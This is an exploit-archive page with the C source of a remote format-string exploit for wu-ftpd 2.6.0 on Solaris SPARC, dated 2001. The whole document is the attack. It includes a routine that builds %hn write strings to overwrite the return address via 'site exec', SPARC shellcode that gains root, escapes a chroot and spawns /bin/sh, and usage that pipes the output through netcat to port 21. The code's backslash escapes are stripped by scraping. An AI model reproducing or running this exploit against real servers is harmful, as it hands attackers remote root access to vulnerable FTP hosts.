[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : wu-ftpd 2.6.0 Remote Format Strings Exploit
# Published : 2001-01-03
# Author : kalou
# Previous Title : Cisco Password Bruteforcer Exploit
# Next Title : Linux Kernel 2.2 (TCP/IP Weakness) Exploit
/*
**
** 12:40 11/10/00: Tool for either attack or defense
** within an information warfare setting. Rather, it
** is a small program demonstrating proof of concept.
** Default values for solaris 2.8 and inetd.
**
** If you are not the intended recipient, or a person
** responsible for delivering it to the intended
** recipient, you are not authorised to and must not
** disclose, copy, distribute, or retain this message
** or any part of it. Such unauthorised use may be
** unlawful.If you have received this transmission in
** error,please email us immediately at hert@hert.org
** so that we can arrange for its return.
**
** kalou <pb@hert.org>
**
** Usage:
**
** 0xfdc (4060) bytes after the ret position, you have:
**
** -HOSTNAME: anonymous/EGGSHELL
**
** This of course begins on a 4 bytes boundary.
**
** Check your hostname len. Align this with pad to have EGGSHELL on a
** 4 bytes boundary (-p). Localhost needs 2 bytes, for example.
**
** Use '%s' format bug exploitation to look for this string in memory.
** (you have to eat 15 words out of stack).
**
** Remove 0xfdc + len (-HOSTNAME: anonymous/pad) to your found pointer.
** This substracted value is kept as the distance (-d).
** Result is your return address position (-w). Check it if you want.
**
** This code substracts 8 to this address (sparc ret behaviour).
**
** You may use the 102th %p pointer on stack to find the string. eg: ffbef640.
**
** adding 0x870 to this value, I found my string.
**
** offset should be useless. site_padding depends on the '/bin/ftp-exec/'
** config stuff.
**
** (./wu -p 2 -d 0xff4 ; cat ) | nc localhost 21
**
*/
/* Stolener Foundation */
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef __linux
#include <getopt.h>
#endif
void *build_format_string(int where,
int what,
int gout,
int eat,
int pad)
{
int expected_len;
int what1, where1;
int what2, where2;
char w1[512];
char w2[512];
int i;
char *buf, *p;
/* generate two %hn len : */
what1 = (what >> 16) & 0xffff;
what2 = what & 0xffff;
fprintf(stderr, "what1: %0xn", what1);
fprintf(stderr, "what2: %0xn", what2);
if ( what1 > what2 ) {
where1 = where + 2;
where2 = where;
what1 -= what2;
} else {
where1 = where;
where2 = where + 2;
what2 -= what1;
}
fprintf(stderr, "removing %d.n", pad + 2 * sizeof(where) + gout +
(eat - 1) * 12);
if (where1 < where2) {
what1 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout;
} else {
what2 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout;
}
fprintf(stderr, "%08x: writing first %sn", what,
(where1 > where2) ? "what2" : "what1");
fprintf(stderr, "what1 is %08x, what2 is %08xn",
what1, what2);
sprintf(w1, "%%0%dx%%hn", what1);
sprintf(w2, "%%0%dx%%hn", what2);
fprintf(stderr, "1: %sn2: %sn", w1, w2);
/* calculate expected len : */
expected_len = pad + 12 + (eat - 1) * 8
+ strlen(w1) + strlen(w2) + 1;
fprintf(stderr, "len is %dn", expected_len);
buf = (char *) malloc(expected_len);
if ( buf == NULL)
return buf;
p = buf;
/* pad */
for (i = 0; i < pad; i++) {
*p++ = '.';
}
/* retaddr, part 1 - first %hn*/
*p++ = (where1 >> 24) & 0xff;
*p++ = (where1 >> 16) & 0xff;
*p++ = (where1 >> 8) & 0xff;
*p++ = (where1) & 0xff;
*p++ = 0x0f;
*p++ = 0x0e;
*p++ = 0x0e;
*p++ = 0x0f; /* so that the first %0(much)x eats something
/* retaddr, part 2 - second %hn */
*p++ = ((where2) >> 24) & 0xff;
*p++ = ((where2) >> 16) & 0xff;
*p++ = ((where2) >> 8) & 0xff;
*p++ = (where2) & 0xff;
/* eaters.. */
for (i = 0; i < (eat - 1); i++) {
strcpy(p, "%000012x");
p += 8;
}
/* what1, what2 */
if (what1 > what2) {
strcpy(p, w1);
strcpy(p + strlen(w1), w2);
} else {
strcpy(p, w2);
strcpy(p + strlen(w2), w1);
}
return buf;
}
void *ftp_escape(void *buf)
{
void *boh;
char *p = buf;
char *r;
boh = malloc(4096);
r = boh;
while (*p) {
*r++ = *p;
if ((*p) == 'xff')
*r++ = *p;
p++;
}
*r = ' ';
return boh;
}
void usage(char *me)
{
fprintf(stderr, "Usage : %s n"
" [-w where (hexa) ] /* ret position */n"
" 0 [-o offset ] /* or just offset, or both */n"
"1010 [-d distance (hex)] /* distance to pass */n"
" 2 [-s site_pad ] /* padding to site_exec */n"
" 3 [-p pass_pad ] /* padding to eggshell */n"
" 4 [-g gout ] /* output size (200-) */n"
" 15 [-e eat ] /* pointers to eat */nnn",
me);
exit(0);
}
main(int argc, char **argv)
{
char c;
int where, offset, distance, gout, site_pad, pass_pad, eat;
char *buf;
char break_sparc[] =
"x90x1bxc0x0f" // xor %o7, %o7, %o0
"x82x10x20x17" // mov 23, %g1
"x91xd0x20x08" // ta 8 ! setuid(0)
"xaex10x20x2e" // mov 0x2e, %l7
"xafx2dxe0x18" // sll %l7, 24, %l7
"xeex23xbfxd0" // st %l7, [ %sp - 48 ]
"x90x23xa0x30" // sub %sp, 48, %o0
"x82x10x20x05" // mov 5, %g1
"x92x1bxc0x0f" // xor %o7, %o7, %o1
"x91xd0x20x08" // ta 8 ! fd = open(".", 0);
"xa6x82x20x01" // addcc %o0, 1, %l3 !
"xaex10x20x6b" // mov 0x6b, %l7
"xafx2dxe0x18" // sll %l7, 24, %l7
"xeex23xbfxd0" // st %l7, [ %sp - 48 ]
"x90x23xa0x30" // sub %sp, 48, %o0
"x92x10x21xff" // mov 0x1ff, %o1
"x82x10x20x50" // mov 0x50, %g1
"x91xd0x20x08" // ta 8 ! mkdir("k", 0755)
"x90x23xa0x30" // sub %sp, 48, %o0
"x82x10x20x3d" // mov 0x3d, %g1
"x91xd0x20x08" // ta 8 ! chroot("k")
"x90x24xe0x01" // sub %l3, 1, %o0
"x82x10x20x78" // mov 0x78, %g1
"x91xd0x20x08" // ta 8 ! fchdir(fd)
"x2fx0bx8bx8b" // sethi %hi(0x2e2e2c00), %l7
"xaex15xe3x2e" // or %l7, 0x32e, %l7
"xeex23xbfxd0" // st %l7, [ %sp - 48 ] ! ../.
"x2fx0bxcbx8b" // sethi %hi(0x2f2e2c00), %l7
"xaex15xe2x2f" // or %l7, 0x22f, %l7
"xeex23xbfxd4" // st %l7, [ %sp - 44 ] ! /../
"xeex23xbfxd8" // st %l7, [ %sp - 40 ]
"xeex23xbfxdc" // st %l7, [ %sp - 36 ]
"xeex23xbfxe0" // st %l7, [ %sp - 32 ]
"xeex23xbfxe4" // st %l7, [ %sp - 28 ]
"xeex23xbfxe8" // st %l7, [ %sp - 24 ]
"xeex23xbfxec" // st %l7, [ %sp - 20 ] ! .././..//..//../(ad lib)
"xc0x23xbfxf0" // clr [ %sp - 16 ]
"x82x10x20x0c" // mov 0xc, %g1
"x90x23xa0x30" // sub %sp, 48, %o0
"x91xd0x20x08" // ta 8 ! chdir(".././../...")
"xaex10x20x2e" // mov 0x2e, %l7
"xafx2dxe0x18" // sll %l7, 24, %l7
"xeex23xbfxd0" // st %l7, [ %sp - 48 ] ! stupido. anyway.
"x90x23xa0x30" // sub %sp, 48, %o0
"x82x10x20x3d" // mov 0x3d, %g1
"x91xd0x20x08" // ta 8
"x2dx0bxd8x9a" // sethi %hi(0x2f62696e), %l6 ! no more mine.
"xacx15xa1x6e" // or %l6, %lo(0x2f62696e), %l6
"x2fx0bxdcxda" // sethi %hi(0x2f736800), %l7
"x90x0bx80x0e" // and %sp, %sp, %o0
"x92x03xa0x08" // add %sp, 8, %o1
"x94x1bxc0x0f" // xor %o7, %o7, %o2
"x9cx03xa0x10" // add %sp, 16, %sp
"xecx3bxbfxf0" // std %l6, [%sp-16]
"xd0x23xbfxf8" // st %o0, [%sp-8]
"xc0x23xbfxfc" // st %g0, [%sp-4]
"x82x10x20x3b" // mov 59, %g1
"x91xd0x20x08" // ta 8
"x91xd0x20x08"; // ta 8
offset = 0;
where = 0xffbeeed4;
distance = 0x1004;
gout = 4;
eat = 15;
site_pad = 2;
pass_pad = 3;
while ( ( c = getopt(argc, argv, "w:o:d:e:g:s:p:") ) != EOF ) {
switch(c) {
case 'w':
where = strtoul(optarg, NULL, 16);
break;
case 'o':
offset = atoi(optarg);
break;
case 'd':
distance = strtoul(optarg, NULL, 16);
break;
case 'e':
eat = atoi(optarg);
break;
case 'g':
gout = atoi(optarg);
break;
case 's':
site_pad = atoi(optarg) % 4;
break;
case 'p':
pass_pad = atoi(optarg) % 4;
break;
default:
usage(argv[0]);
}
}
where += offset;
fprintf(stderr, "ret [%x]:%xn"
"ppad %dn"
"spad %dn"
"gout %dn"
"eat %dn",
where, where + distance,
pass_pad, site_pad, gout, eat);
printf("user ftpn");
buf = ftp_escape(break_sparc);
printf("pass %.*s%sn", pass_pad, "xxxx", buf);
buf = build_format_string(where, where + distance - 8, gout, eat, site_pad);
buf = ftp_escape(buf);
printf ("site exec %sn", buf);
}
// www.Syue.com [2001-01-03]